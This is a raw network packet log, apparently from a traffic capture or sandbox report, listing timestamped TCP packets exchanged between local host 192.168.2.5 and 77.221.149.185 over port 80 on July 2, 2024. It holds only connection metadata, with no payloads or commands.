Jul 2, 2024 22:52:26.812798023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.812800884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.812829971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813476086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813487053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813498020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813507080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813513041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813517094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813527107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813535929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813545942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813546896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813554049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813564062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813574076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813582897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813584089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813594103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813602924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813602924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813613892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813620090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813626051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.813631058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.813654900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814683914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814694881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814703941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814714909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814723969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814726114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814729929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814733982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814745903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814752102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814758062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814759016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814769030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814779043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814788103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814789057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814798117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814800024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814809084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814819098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.814821005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814838886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.814865112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.815449953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815459967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815474987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815484047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815493107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815502882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815505028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.815511942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815522909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815531969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.815531969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815543890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815555096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.815557003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.815572977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.815599918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816005945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816015005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816020012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816031933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816054106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816055059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816065073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816075087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816083908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816092968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816097021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816102028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816112995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816122055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816127062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816133976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816143036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816149950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816154003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816163063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816167116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816186905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816203117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816662073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816674948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816684008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816694021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816703081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.816706896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816726923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.816757917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.848486900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848499060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848510981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848603010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.848609924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848619938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848655939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848665953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848750114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.848750114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.848840952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.848889112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.899740934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.899755955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.899765968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.899805069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.899847984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.899890900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.899908066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.899918079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.899957895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900029898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900038958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900049925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900058985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900068045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900079966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900096893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900271893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900288105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900321960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900474072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900490046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900501013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900510073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900516033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900518894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900528908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900537968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900546074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900547028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900573969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900800943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900810957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900849104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900953054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900969982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900979996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.900995016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.900995970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901005983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901015043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901021957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901025057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901032925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901038885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901051044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901061058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901070118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901072979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901079893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901086092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901117086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901555061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901565075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901575089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901582956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901591063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901599884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901606083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901609898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901623011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901633024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.901648045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.901671886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902034998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902045012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902054071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902061939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902070999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902081966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902084112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902091980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902101040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902102947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902111053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902122974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902122974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902149916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902160883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902443886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902647972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902657986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902667999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902678967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902687073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902690887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902695894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902704954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902717113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902717113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902726889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902734995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902740955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902745008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902754068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902762890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902771950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902776957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902781010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902795076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.902807951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.902807951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903635979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903646946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903656960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903666973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903676987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903682947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903687000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903696060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903706074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903707027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903713942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903723001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903726101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903732061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903742075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903744936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903752089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903760910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903764963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903769016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903769016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903778076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.903805017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.903829098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.904474974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904490948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904500961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904510975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904520035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904527903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904535055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.904537916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904547930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904556990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904563904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.904567003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904575109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904582024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.904584885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904593945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904598951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.904603958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904613018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904623985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904632092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.904632092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.904653072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.905324936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905334949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905344009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905353069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905363083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905368090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.905373096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905383110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905396938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.905405045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905412912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.905424118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.905461073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085093975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085112095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085125923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085134983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085190058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085200071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085210085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085333109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085338116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085338116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085377932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085520983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085531950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085541964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085565090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085587978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085700989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085710049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085720062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085728884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085740089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085783958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085844994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085854053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085879087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085944891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085954905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085963964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085973024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085983992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.085983992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.085994005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086002111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086003065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086011887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086021900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086028099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086036921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086060047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086455107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086464882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086474895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086496115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086539030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086549997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086559057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086568117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086575985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086585999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086585999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086595058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086605072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086612940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086613894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.086642981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.086657047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087161064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087172031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087182045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087193012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087203026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087208033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087212086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087220907 CEST	80	49712	77.221.149.185	192.168.2.5
